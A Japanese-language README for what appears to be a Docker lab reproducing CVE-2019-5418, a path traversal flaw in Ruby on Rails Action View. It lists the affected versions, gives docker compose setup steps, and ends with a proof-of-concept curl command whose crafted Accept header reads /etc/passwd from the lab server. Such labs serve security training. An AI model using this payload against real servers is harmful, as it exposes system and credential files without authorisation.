
CVE-2019-5418 Ruby on Rails パストラバーサルエクスプロイト用の Docker ベースのラボ環境。巧妙に細工された Accept ヘッダーを使用して任意のサーバーファイルを読み取る PoC curl コマンドが含まれています。
このプロジェクトは、Ruby on Railsのローカルファイルインクルード脆弱性(CVE-2019-5418)を実習し、再現するための環境です。この脆弱性は、Acceptヘッダーを介したパストラバーサルにより、サーバー内部の任意のファイルを読み取ることができる脆弱性です。
Ruby on Railsは、開発者が迅速かつ簡単にWebアプリケーションを構築できるWebアプリケーションフレームワークです。
Ruby on RailsのAction View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 および v3 には、ローカルファイルインクルード脆弱性があります。
render fileをコントローラーでアプリケーション外部のビューをレンダリングするために使用する場合、Railsはユーザーが提供するAcceptヘッダーに基づいてファイルの場所を決定します。値を持つAcceptヘッダーを送ると、Accept: ../../../../../../../../etc/passwd{{ 攻撃者はパストラバーサル脆弱性を悪用して任意のファイルを読み取ることができます。
次のコマンドを実行して、Ruby on Rails 5.2.2をコンパイルして起動します。
docker compose build
docker compose up -d
サーバー起動後、http://your-ip:3000にアクセスすると、Ruby on Railsのページを訪れることができます。

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Acceptヘッダーを介してサーバー内部の任意のファイルを正常に読み取りました。